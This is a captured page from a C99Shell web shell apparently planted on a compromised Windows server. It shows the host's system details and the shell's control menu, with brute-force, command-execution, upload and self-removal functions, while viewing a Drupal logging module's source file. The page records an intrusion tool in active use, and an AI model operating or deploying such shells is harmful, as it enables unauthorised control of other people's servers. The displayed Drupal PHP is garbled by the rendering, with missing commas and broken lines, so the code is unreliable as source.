!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\drupal\modules\dblog\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dblog.admin.inc (8.85 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: dblog.admin.inc,v 1.6 2008/01/08 10:35:41 goba Exp $

/**
 * @file
 * Administrative page callbacks for the dblog module.
 */

/**
 * dblog module settings form.
 *
 * @ingroup forms
 * @see system_settings_form()
 */
function dblog_admin_settings() {
  
$form['dblog_row_limit'] = array(
    
'#type' => 'select',
    
'#title' => t('Discard log entries above the following row limit'),
    
'#default_value' => variable_get('dblog_row_limit'1000),
    
'#options' => drupal_map_assoc(array(1001000100001000001000000)),
    
'#description' => t('The maximum number of rows to keep in the database log. Older entries will be automatically discarded. (Requires a correctly configured <a href="@cron">cron maintenance task</a>.)', array('@cron' => url('admin/reports/status')))
  );

  return 
system_settings_form($form);
}

/**
 * Menu callback; displays a listing of log messages.
 */
function dblog_overview() {
  
$filter dblog_build_filter_query();
  
$rows = array();
  
$icons = array(
    
WATCHDOG_NOTICE  => '',
    
WATCHDOG_WARNING => theme('image''misc/watchdog-warning.png't('warning'), t('warning')),
    
WATCHDOG_ERROR   => theme('image''misc/watchdog-error.png't('error'), t('error')),
  );
  
$classes = array(
    
WATCHDOG_NOTICE => 'dblog-notice',
    
WATCHDOG_WARNING => 'dblog-warning',
    
WATCHDOG_ERROR => 'dblog-error',
  );

  
$output drupal_get_form('dblog_filter_form');

  
$header = array(
    
' ',
    array(
'data' => t('Type'), 'field' => 'w.type'),
    array(
'data' => t('Date'), 'field' => 'w.wid''sort' => 'desc'),
    
t('Message'),
    array(
'data' => t('User'), 'field' => 'u.name'),
    array(
'data' => t('Operations')),
  );

  
$sql "SELECT w.wid, w.uid, w.severity, w.type, w.timestamp, w.message, w.variables, w.link, u.name FROM {watchdog} w INNER JOIN {users} u ON w.uid = u.uid";
  
$tablesort tablesort_sql($header);
  if (!empty(
$filter['where'])) {
    
$result pager_query($sql ." WHERE "$filter['where'] . $tablesort500NULL$filter['args']);
  }
  else {
    
$result pager_query($sql $tablesort50);
  }

  while (
$dblog db_fetch_object($result)) {
    
$rows[] = array('data' =>
      array(
        
// Cells
        
$icons[$dblog->severity],
        
t($dblog->type),
        
format_date($dblog->timestamp'small'),
        
l(truncate_utf8(_dblog_format_message($dblog), 56TRUETRUE), 'admin/reports/event/'$dblog->wid, array('html' => TRUE)),
        
theme('username'$dblog),
        
$dblog->link,
      ),
      
// Attributes for tr
      
'class' => "dblog-"preg_replace('/[^a-z]/i''-'$dblog->type) .' '$classes[$dblog->severity]
    );
  }

  if (!
$rows) {
    
$rows[] = array(array('data' => t('No log messages available.'), 'colspan' => 6));
  }

  
$output .= theme('table'$header$rows, array('id' => 'admin-dblog'));
  
$output .= theme('pager'NULL500);

  return 
$output;
}

/**
 * Menu callback; generic function to display a page of the most frequent
 * dblog events of a specified type.
 */
function dblog_top($type) {

  
$header = array(
    array(
'data' => t('Count'), 'field' => 'count''sort' => 'desc'),
    array(
'data' => t('Message'), 'field' => 'message')
  );

  
$result pager_query("SELECT COUNT(wid) AS count, message, variables FROM {watchdog} WHERE type = '%s' GROUP BY message, variables "tablesort_sql($header), 300"SELECT COUNT(DISTINCT(message)) FROM {watchdog} WHERE type = '%s'"$type);

  
$rows = array();
  while (
$dblog db_fetch_object($result)) {
    
$rows[] = array($dblog->counttruncate_utf8(_dblog_format_message($dblog), 56TRUETRUE));
  }

  if (empty(
$rows)) {
    
$rows[] = array(array('data' => t('No log messages available.'), 'colspan' => 2));
  }

  
$output  theme('table'$header$rows);
  
$output .= theme('pager'NULL300);

  return 
$output;
}

/**
 * Menu callback; displays details about a log message.
 */
function dblog_event($id) {
  
$severity watchdog_severity_levels();
  
$output '';
  
$result db_query('SELECT w.*, u.name, u.uid FROM {watchdog} w INNER JOIN {users} u ON w.uid = u.uid WHERE w.wid = %d'$id);
  if (
$dblog db_fetch_object($result)) {
    
$rows = array(
      array(
        array(
'data' => t('Type'), 'header' => TRUE),
        
t($dblog->type),
      ),
      array(
        array(
'data' => t('Date'), 'header' => TRUE),
        
format_date($dblog->timestamp'large'),
      ),
      array(
        array(
'data' => t('User'), 'header' => TRUE),
        
theme('username'$dblog),
      ),
      array(
        array(
'data' => t('Location'), 'header' => TRUE),
        
l($dblog->location$dblog->location),
      ),
      array(
        array(
'data' => t('Referrer'), 'header' => TRUE),
        
l($dblog->referer$dblog->referer),
      ),
      array(
        array(
'data' => t('Message'), 'header' => TRUE),
        
_dblog_format_message($dblog),
      ),
      array(
        array(
'data' => t('Severity'), 'header' => TRUE),
        
$severity[$dblog->severity],
      ),
      array(
        array(
'data' => t('Hostname'), 'header' => TRUE),
        
check_plain($dblog->hostname),
      ),
      array(
        array(
'data' => t('Operations'), 'header' => TRUE),
        
$dblog->link,
      ),
    );
    
$attributes = array('class' => 'dblog-event');
    
$output theme('table', array(), $rows$attributes);
  }
  return 
$output;
}

/**
 * Build query for dblog administration filters based on session.
 */
function dblog_build_filter_query() {
  if (empty(
$_SESSION['dblog_overview_filter'])) {
    return;
  }

  
$filters dblog_filters();

  
// Build query
  
$where $args = array();
  foreach (
$_SESSION['dblog_overview_filter'] as $key => $filter) {
    
$filter_where = array();
    foreach (
$filter as $value) {
      
$filter_where[] = $filters[$key]['where'];
      
$args[] = $value;
    }
    if (!empty(
$filter_where)) {
      
$where[] = '('implode(' OR '$filter_where) .')';
    }
  }
  
$where = !empty($where) ? implode(' AND '$where) : '';

  return array(
    
'where' => $where,
    
'args' => $args,
  );
}


/**
 * List dblog administration filters that can be applied.
 */
function dblog_filters() {
  
$filters = array();

  foreach (
_dblog_get_message_types() as $type) {
    
$types[$type] = $type;
  }

  if (!empty(
$types)) {
    
$filters['type'] = array(
      
'title' => t('Type'),
      
'where' => "w.type = '%s'",
      
'options' => $types,
    );
  }

  
$filters['severity'] = array(
    
'title' => t('Severity'),
    
'where' => 'w.severity = %d',
    
'options' => watchdog_severity_levels(),
  );

  return 
$filters;
}

/**
 * Formats a log message for display.
 *
 * @param $dblog
 *   An object with at least the message and variables properties
 */
function _dblog_format_message($dblog) {
  
// Legacy messages and user specified text
  
if ($dblog->variables === 'N;') {
    return 
$dblog->message;
  }
  
// Message to translate with injected variables
  
else {
    return 
t($dblog->messageunserialize($dblog->variables));
  }
}


/**
 * Return form for dblog administration filters.
 *
 * @ingroup forms
 * @see dblog_filter_form_submit()
 * @see dblog_filter_form_validate()
 */
function dblog_filter_form() {
  
$session = &$_SESSION['dblog_overview_filter'];
  
$session is_array($session) ? $session : array();
  
$filters dblog_filters();

  
$form['filters'] = array(
    
'#type' => 'fieldset',
    
'#title' => t('Filter log messages'),
    
'#theme' => 'dblog_filters',
    
'#collapsible' => TRUE,
    
'#collapsed' => empty($session),
  );
  foreach (
$filters as $key => $filter) {
    
$form['filters']['status'][$key] = array(
      
'#title' => $filter['title'],
      
'#type' => 'select',
      
'#multiple' => TRUE,
      
'#size' => 8,
      
'#options' => $filter['options'],
    );
    if (!empty(
$session[$key])) {
      
$form['filters']['status'][$key]['#default_value'] = $session[$key];
    }
  }

  
$form['filters']['buttons']['submit'] = array(
    
'#type' => 'submit',
    
'#value' => t('Filter'),
  );
  if (!empty(
$session)) {
    
$form['filters']['buttons']['reset'] = array(
      
'#type' => 'submit',
      
'#value' => t('Reset')
    );
  }

  return 
$form;
}

/**
 * Validate result from dblog administration filter form.
 */
function dblog_filter_form_validate($form, &$form_state) {
  if (
$form_state['values']['op'] == t('Filter') && empty($form_state['values']['type']) && empty($form_state['values']['severity'])) {
    
form_set_error('type't('You must select something to filter by.'));
  }
}

/**
 * Process result from dblog administration filter form.
 */
function dblog_filter_form_submit($form, &$form_state) {
  
$op $form_state['values']['op'];
  
$filters dblog_filters();
  switch (
$op) {
    case 
t('Filter'):
      foreach (
$filters as $name => $filter) {
        if (isset(
$form_state['values'][$name])) {
          
$_SESSION['dblog_overview_filter'][$name] = $form_state['values'][$name];
        }
      }
      break;
    case 
t('Reset'):
      
$_SESSION['dblog_overview_filter'] = array();
      break;
  }
  return 
'admin/reports/dblog';
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--